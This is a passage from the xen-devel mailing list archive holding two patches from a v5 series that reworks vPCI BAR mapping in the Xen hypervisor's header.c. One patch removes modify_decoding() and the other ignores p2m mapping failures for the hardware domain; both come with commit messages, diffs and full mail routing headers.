	X/SjnTYyp95Fy6Iq9DMjGbQLlUs5uU+Gf11Sd0fSdhmJ9BeJpXoHFWTX6eoL1RtpqUXjkpENRKKe6xpGut2R5e7TSFis45k+/GQB8qYgGScAB2g4Ep8RihUE6zSCTrOxYJC7El0GhEbmL3opwcO4wIqUKRxu5PikJL+kZx2gmi0XUj5TjJAmMrodqmFLPfdyMdtdWkuwig1ZXiWKuOMegjYbC4dv2RPIuWUOsZVdD2uBTJ8yNyVX4zph+B83LLDrei95IsQMF4S6/tKjSOGuq3lfwb30C/wEmallKJlMJFhmmG4q1ae7m7umZOsowmbG+sAaDh/S+fRJ//npeJrFofTBRwuwn0n99orKQshR2G1SSkgY2JWaLqq1IrfWm9W1Jg1fws3/o6loiVXr4aQrB89wDRD94IuPIqQJ6FFY5JEXEcWKD+vKgt8fk5/hvg11
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:41.8972
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 05df2474-5f02-41a2-c0ad-08dedd346408
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000B.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM4PR12MB6664
X-purgate-ID: tlsNG-720697/1783544631-4D70D7C5-F7AD733C/0/0
X-purgate-type: clean
X-purgate-size: 7442

From: Roger Pau Monne <roger.pau@citrix.com>

Deferring the actual write of the PCI register bit, either the memory
decoding or the ROM enable is not helpful, and adds an unnecessary amount of
complexity to the preemptible handling of BAR related p2m modifications.

In the hardware domain case, whether the PCI register write is done ahead
or after the p2m changes doesn't matter, a hardware domain has plenty of
ways to mess with the PCI register state if it wants to.  Any poking at the
BAR p2m regions ahead of the guest write having completed will be
undefined.

On the other hand, for domUs the memory decoding bit shouldn't really
change as a result of guest actions, and should always be enabled.  Guest
toggling the memory decoding command register should only result in p2m
modifications, but no propagation to the device PCI registers.  Having
memory decoding unconditionally enabled ensures the domU attempting to
perform p2m accesses while the p2m changes are taking place will always
access the BAR contents. This is not the current behavior for domUs, so add
a note that it would preferably done that way.

This allows to get rid of modify_decoding(), as writing the command
register can easily be done without the need for an external helper.

Resolves: https://gitlab.com/xen-project/xen/-/issues/98
Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
Since the full command register value is no longer needed after p2m
operations, we could reasonably replace the cmd parameter to
modify_bars() with 'bool map' immediately after this patch. However, I
chose to wait until the end of the series to reduce the diffstat and
make review easier.

Note that in rom_write(), when rom->enabled and new_enabled are both
false, rom->addr/guest_addr will be written twice. This quirk is
preexisting, so I didn't think it was in the scope for this patch to
address it. Do you think it's worth addressing separately?

v1->v5:
* rebase
* reorder within series
* in rom_write(), retain bars_mapped / enable toggle gate for invoking
  modify_bars()
* add Resolves: tag
---
 xen/drivers/vpci/header.c | 80 +++++++++++----------------------------
 1 file changed, 22 insertions(+), 58 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index cf9d0bac8876..908adf0b3f4c 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -102,47 +102,6 @@ static int cf_check map_range(
     return rc;
 }
 
-/*
- * The rom_only parameter is used to signal the map/unmap helpers that the ROM
- * BAR's enable bit has changed with the memory decoding bit already enabled.
- * If rom_only is not set then it's the memory decoding bit that changed.
- */
-static void modify_decoding(const struct pci_dev *pdev, uint16_t cmd,
-                            bool rom_only)
-{
-    struct vpci_header *header = &pdev->vpci->header;
-    bool map = cmd & PCI_COMMAND_MEMORY;
-    unsigned int i;
-
-    for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
-    {
-        struct vpci_bar *bar = &header->bars[i];
-
-        if ( !MAPPABLE_BAR(bar) )
-            continue;
-
-        if ( rom_only && bar->type == VPCI_BAR_ROM )
-        {
-            unsigned int rom_pos = (i == PCI_HEADER_NORMAL_NR_BARS)
-                                   ? PCI_ROM_ADDRESS : PCI_ROM_ADDRESS1;
-            uint32_t val = bar->addr |
-                           (map ? PCI_ROM_ADDRESS_ENABLE : 0);
-
-            header->rom_enabled = map;
-            pci_conf_write32(pdev->sbdf, rom_pos, val);
-            return;
-        }
-    }
-
-    if ( !rom_only )
-    {
-        pci_conf_write16(pdev->sbdf, PCI_COMMAND, cmd);
-        header->bars_mapped = map;
-    }
-    else
-        ASSERT_UNREACHABLE();
-}
-
 bool vpci_process_pending(struct vcpu *v)
 {
     const struct pci_dev *pdev = v->vpci.pdev;
@@ -202,10 +161,6 @@ bool vpci_process_pending(struct vcpu *v)
     }
     v->vpci.pdev = NULL;
 
-    spin_lock(&pdev->vpci->lock);
-    modify_decoding(pdev, v->vpci.cmd, v->vpci.rom_only);
-    spin_unlock(&pdev->vpci->lock);
-
     read_unlock(&v->domain->pci_lock);
 
     return false;
@@ -241,8 +196,6 @@ static int __init apply_map(struct domain *d, const struct pci_dev *pdev,
             write_lock(&d->pci_lock);
         }
     }
-    if ( !rc )
-        modify_decoding(pdev, cmd, false);
 
     return rc;
 }
@@ -534,22 +487,29 @@ static void cf_check cmd_write(
      * decoding one. Bits that are not allowed for DomU are already
      * handled above and by the rsvdp_mask.
      */
-    if ( header->bars_mapped != new_enabled )
+    if ( header->bars_mapped != new_enabled &&
+         modify_bars(pdev, cmd, false) )
         /*
          * Ignore the error. No memory has been added or removed from the p2m
          * (because the actual p2m changes are deferred in defer_map) and the
          * memory decoding bit has not been changed, so leave everything as-is,
          * hoping the guest will realize and try again.
          */
-        modify_bars(pdev, cmd, false);
-    else
-        pci_conf_write16(pdev->sbdf, reg, cmd);
+        return;
 
 #ifdef CONFIG_HAS_PCI_MSI
     /* Unpopulate MSI-X table region, so accesses trap into Xen. */
     if ( !header->bars_mapped && new_enabled && vpci_make_msix_hole(pdev) )
         return;
 #endif
+
+    /*
+     * FIXME: for domUs we don't want the guest toggling the memory decoding
+     * bit.  It should be set in vpci_init_header() and guest attempts to
+     * modify it should only lead to guest p2m changes.
+     */
+    header->bars_mapped = new_enabled;
+    pci_conf_write16(pdev->sbdf, reg, cmd);
 }
 
 static uint32_t cf_check guest_cmd_read(
@@ -705,17 +665,12 @@ static void cf_check rom_write(
         rom->guest_addr = rom->addr;
     }
 
-    if ( !header->bars_mapped || rom->enabled == new_enabled )
-    {
-        /* Just update the ROM BAR field. */
-        header->rom_enabled = new_enabled;
-        pci_conf_write32(pdev->sbdf, reg, val);
-    }
     /*
      * Pass PCI_COMMAND_MEMORY or 0 to signal a map/unmap request, note that
      * this fabricated command is never going to be written to the register.
      */
-    else if ( modify_bars(pdev, new_enabled ? PCI_COMMAND_MEMORY : 0, true) )
+    if ( header->bars_mapped && rom->enabled != new_enabled &&
+         modify_bars(pdev, new_enabled ? PCI_COMMAND_MEMORY : 0, true) )
         /*
          * No memory has been added or removed from the p2m (because the actual
          * p2m changes are deferred in defer_map) and the ROM enable bit has
@@ -726,6 +681,8 @@ static void cf_check rom_write(
          */
         return;
 
+    header->rom_enabled = new_enabled;
+    pci_conf_write32(pdev->sbdf, reg, val);
     if ( !new_enabled )
     {
         rom->addr = val & PCI_ROM_ADDRESS_MASK;
@@ -927,6 +884,13 @@ int vpci_init_header(struct pci_dev *pdev)
             goto fail;
     }
 
+    if ( cmd & PCI_COMMAND_MEMORY )
+    {
+        /* Restore command register value. */
+        header->bars_mapped = true;
+        pci_conf_write16(pdev->sbdf, PCI_COMMAND, cmd);
+    }
+
     return (cmd & PCI_COMMAND_MEMORY) ? modify_bars(pdev, cmd, false) : 0;
 
  fail:
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:03:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357350.1611782 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQo-0003sX-Nx; Wed, 08 Jul 2026 21:03:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357350.1611782; Wed, 08 Jul 2026 21:03:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQo-0003s5-K9; Wed, 08 Jul 2026 21:03:46 +0000
Received: by outflank-mailman (input) for mailman id 1357350;
 Wed, 08 Jul 2026 21:03:44 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQm-0003oJ-QG
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQl-00BD5T-Vf
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:43 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebafe-e002-0a2a0a5209dd-0a2a4509dc22-34
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:43 +0200
Received: from [52.101.57.41]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb2e-97e6-0a2a45090019-34653929b111-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:43 +0200
Received: from DS1PR07CA0020.namprd07.prod.outlook.com (2603:10b6:8:44d::18)
 by CH3PR12MB8185.namprd12.prod.outlook.com (2603:10b6:610:123::17) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Wed, 8 Jul
 2026 21:03:34 +0000
Received: from CY4PEPF0000E9D9.namprd05.prod.outlook.com
 (2603:10b6:8:44d:cafe::46) by DS1PR07CA0020.outlook.office365.com
 (2603:10b6:8:44d::18) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:34 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CY4PEPF0000E9D9.mail.protection.outlook.com (10.167.241.72) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:34 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:24 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:23 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=SV53JJaYr5hfkslGHN8rbgoHokAOxB7L8gWZGW+cABWcfzi3vg3IeJzReIKzViltEThcf2QNfXVmOuZ1LHS1uzogmjwPjgF2ccEiXJ6YRGDRkBltBRBbra/LViCeY9gMEcDWgCGjKfdoPWu4FXr8MQBE86XGR9oA/Mm7fFwzcRovpspKI36OMuihQu95YcHJxLvJGT9qCm4dz4dEPFF8qyJ9LEXOE52uEyvHDv6X0xh8I0Qe5/tG11/27HwBxicGM5O7CvfKfZQDlLg7vsKdOWr78QeOVF8yO+ouUwuXMdHAQ7pliKM5tZLsKI3xzcRpKh3NHCIx9QQM8FAMLSv2iw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=LX3mDmX0UiOUsankD8ZHIzdyC6Ou3P5sTJu+c9AM/Nc=;
 b=CVL4eW0nbMaSgpU40l3Krg3RcFtlyUCxNabRBY5HSjv1PjRMyeEs0VhUvzzZB6K3rjauCgy464a6Z3p9ECYG2X/BhKdvg9tCqYeynd17fulozNkylqj3fSsHPTct9F3WwxHmPj1N5Gw+MC/fJGFL+Wmddfkeb/kd0EuibmsMGgbgVmaNehSdjAk7HbG2uJYFcHKqd730xAcb9Yguqwa/zfN7qveeJibORUMrHet6h1f9YWQ6gAPcZ5InEbp46HPqHQbpaSd91Cs5CewcHdH88rWbKdMQJy9M/k0FKTmGqK3AOQoz6Rh5klUOmDCszfRaYdyVSdDxSy5OeeTPoR8CKg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=LX3mDmX0UiOUsankD8ZHIzdyC6Ou3P5sTJu+c9AM/Nc=;
 b=s2XqaLTZCd3M/drBHKcJeux+TAFh4rXRWxEZCvjWIHEKJSyNDBojgsz5hZz91dlBMmMgTC+iS2derNJ/B5kUE6MBBBVxtA4FvY2BJoP6laROrDcoXKwHyyYmGJOF2/6YTB1h1C52w9k3BDM9G4r9SMDdkMj1HmLtYydur/UUYWM=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Roger Pau Monne <roger.pau@citrix.com>, Stewart Hildebrand
	<stewart.hildebrand@amd.com>
Subject: [PATCH v5 2/9] vpci: make BAR mapping more resilient for the hardware domain
Date: Wed, 8 Jul 2026 17:02:17 -0400
Message-ID: <20260708210233.922275-3-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000E9D9:EE_|CH3PR12MB8185:EE_
X-MS-Office365-Filtering-Correlation-Id: 59804325-2291-4500-4745-08dedd345fac
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|376014|23010399003|1800799024|82310400026|6133799003|18002099003|11063799006|22082099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	SKMMzIIBP7sahrwyYwLKPIiuKD1xhxQsu+SlJbRY3+DBx3uhNTqsUFIexAd+gDGHfalp+DbP3KMGet5171LfcPOE+O383qPr1uh78Xhxmir6A6r5BrNnptvZwiQ3fb9ZdG86P9pla60nyPlgCjSmKS20NtpGyrNnWXOZ8FMKNiL4Jt+WZIqycuT3G5zYKZnZRd7eA1Vs4yZr/wKic8mmOXKUX5WdTHU3X5ZgEDYaExfidGPJMX3tpkJ2iw33FpN0RYd7Xr7dLADm+fe8uO69CqtXt8y+h0m7hGk/hR4tueRANWurzwmBll6k9dK53PszjXwh+xGL1xw5vPmvxuqo5mVQxfm/uHsQ24A6Q8PZZRMmNEdYRTlpR07MAENR5NuePEn/z7U1T6l6qdUbdgZI9Hu+z2a2JIuZISyiMeS3sEBELV3nqEDS5f0VIgZ/n7Zs13vfG7+huUTqggcAjvN8SQA5csAXrOL6BO2fIMychAGuITaBmH6clIpzu2q+3na2O5UBNE5/MhogvOMnuKUcr7kY1ne5S0D889GB9Hdh/ihiGDxP/iz4qDcmpc+fboRxmgZPsYcpMF5STCMONj34OTZGvH5qOMZX+n3PzD+SLFe6YM4h7mioKmYqiid/Gd6/+YfOX4BtaClyZ0YYDSNXj3NtZXBU8yDk0edFiHYH/6/hnu5z7H34mDUMqBeZCV6aKagNt6cQ/UPHxMUoR16Bzg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(376014)(23010399003)(1800799024)(82310400026)(6133799003)(18002099003)(11063799006)(22082099003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	2XgnPlEh/dhI5I0Jp21i+22/UX2XL8dkNLayHApJbcOyIawh/Cm7y9wtTC6W+K/H3UiFRfvtwG9SWYmmoDfDDY0uaXllA20HFYx7icRkWhfAb/bXqyGSjNQm9aRbr+kNLGoqmHPK2apxj0SHOe7fgENjjL0INSoXKmz+LnooN5+sq6mnf0x6riWAvOQicLrqMybGK0vtO7z3yqUKydcKgfOfDIM6y7WXWFsvkEdvoLPEsUWS40YXEut15FAl8xgoKC47Eu3FryodW1tWuh4y15JPZFS0q8tYd7U4SRjKhS4bs00BlE1ycf8x8mafzj5ZJbnov8V4IjzHDz9/gRz/cDJbEKJLnq7Z8XII+66fN3FVxh4ZNgChqrEke14/MkVwkIlIUvEORomLtxX6bHrYUN9zLiOxs2blkmwDsicK3NWTpfxHAyqqAooiuriL/wPU
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:34.5517
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 59804325-2291-4500-4745-08dedd345fac
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000E9D9.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR12MB8185
X-purgate-ID: tlsNG-bad1c0/1783544623-4733F986-4E1CE8C4/0/0
X-purgate-type: clean
X-purgate-size: 4148

From: Roger Pau Monne <roger.pau@citrix.com>

The logic in map_range() will bubble up failures to the upper layer, which
will result in any remaining regions being skip, and for the non-hardware
domain case the owner domain of the device would be destroyed.  However for
the hardware domain the intent is to continue execution, hoping the
failure to modify the p2m could be worked around by the hardware domain.

To accomplish that in a better way, ignore failures and skip the range in
that case, possibly continuing to map further ranges.

Since the error path in vpci_process_pending() should only be used by domUs
now, and it will unconditionally end up calling domain_crash(), simplify
it: there's no need to cleanup if the domain will be destroyed.

Memory decoding may be left enabled in case of mapping error for devices
assigned to domUs.

No functional change for domUs intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
Although not strictly a pre-requisite for queued p2m mapping, I've
included this patch from Roger's vPCI fixes series since it simplifies
the error path in vpci_process_pending().

v1->v5:
* move "*c += size;" outside is_hardware_domain condition
* add note to commit message about not disabling memory decoding on failure
---
 xen/drivers/vpci/header.c | 45 +++++++++++++++++++++------------------
 1 file changed, 24 insertions(+), 21 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index 5ac525036672..9f2d0c8a5452 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -70,17 +70,26 @@ static int cf_check map_range(
 
         rc = map->map ? map_mmio_regions(map->d, _gfn(s), size, _mfn(map_mfn))
                       : unmap_mmio_regions(map->d, _gfn(s), size, _mfn(map_mfn));
-        if ( rc == 0 )
-        {
-            *c += size;
-            break;
-        }
         if ( rc < 0 )
         {
             printk(XENLOG_G_WARNING
                    "Failed to %smap [%lx %lx] -> [%lx %lx] for %pd: %d\n",
                    map->map ? "" : "un", s, e, map_mfn,
                    map_mfn + size, map->d, rc);
+            goto done;
+        }
+        if ( rc == 0 )
+        {
+ done:
+            if ( is_hardware_domain(map->d) )
+                /*
+                 * Ignore failures for the hardware domain and skip the range.
+                 * Do it as a best effort workaround to attempt to get the
+                 * hardware domain to boot.
+                 */
+                rc = 0;
+
+            *c += size;
             break;
         }
         ASSERT(rc < size);
@@ -196,28 +205,22 @@ bool vpci_process_pending(struct vcpu *v)
             return true;
         }
 
-        if ( rc )
+        if ( rc && !is_hardware_domain(v->domain) )
         {
-            spin_lock(&pdev->vpci->lock);
-            /* Disable memory decoding unconditionally on failure. */
-            modify_decoding(pdev, v->vpci.cmd & ~PCI_COMMAND_MEMORY,
-                            false);
-            spin_unlock(&pdev->vpci->lock);
-
-            /* Clean all the rangesets */
-            for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
-                if ( !rangeset_is_empty(header->bars[i].mem) )
-                     rangeset_purge(header->bars[i].mem);
-
-            v->vpci.pdev = NULL;
-
             read_unlock(&v->domain->pci_lock);
 
-            if ( !is_hardware_domain(v->domain) )
-                domain_crash(v->domain);
+            domain_crash(v->domain);
 
             return false;
         }
+        ASSERT(!rc);
+        /*
+         * Purge rangeset to deal with the hardware domain having triggered an
+         * error.  It shouldn't be possible, as map_range() will always swallow
+         * errors for hardware domain owned devices, and
+         * rangeset_consume_ranges() itself doesn't generate any errors.
+         */
+        rangeset_purge(bar->mem);
     }
     v->vpci.pdev = NULL;
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:03:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357356.1611806 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQz-0004mg-Jo; Wed, 08 Jul 2026 21:03:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357356.1611806; Wed, 08 Jul 2026 21:03:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQz-0004mG-GE; Wed, 08 Jul 2026 21:03:57 +0000
Received: by outflank-mailman (input) for mailman id 1357356;
 Wed, 08 Jul 2026 21:03:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQy-0004kJ-KS
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQy-001Bh4-1F
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:56 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb37-2eae-0a2a0a5409dd-0a2a4505e776-2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:55 +0200
Received: from [52.101.62.48]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb3a-3cb2-0a2a45050019-34653e30b4b9-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:55 +0200
Received: from CH5PR04CA0016.namprd04.prod.outlook.com (2603:10b6:610:1f4::24)
 by PH0PR12MB7984.namprd12.prod.outlook.com (2603:10b6:510:26f::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 21:03:50 +0000
Received: from CH3PEPF0000000D.namprd04.prod.outlook.com
 (2603:10b6:610:1f4:cafe::46) by CH5PR04CA0016.outlook.office365.com
 (2603:10b6:610:1f4::24) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:48 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF0000000D.mail.protection.outlook.com (10.167.244.43) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:48 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:48 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:46 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=A8CWO4Ml1xQ18GKLYOjJKgNEQjD/X7CvpRRdTmiGWY2uP6JMTJ+5ghUWcBQ5AoPgbdVO0A+iMgLoG4jJD+DU+ah/T/628AbIzc1pgQE/62zHoWKXTQII6j0Y13u2UaDEWIsMCOgnld7L/r3bCCao9ok/E8GDy6Qpq9mDZo/v3vHMrGOgPYzfeSPB1+wdz6XXnKOHTdZLirmfuh4aiAnP+I3WirM/Yq9aoK3MWGh5rAuBLUhWyJgUY985oZxc4hleamR+vsf9hYJhVeSOjtLwBifns0dXHk/waApGorJeO2H5+6PHTEhMX6yRnseBuWlT5k6E+PhyLJm0m+mOOWFtWA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
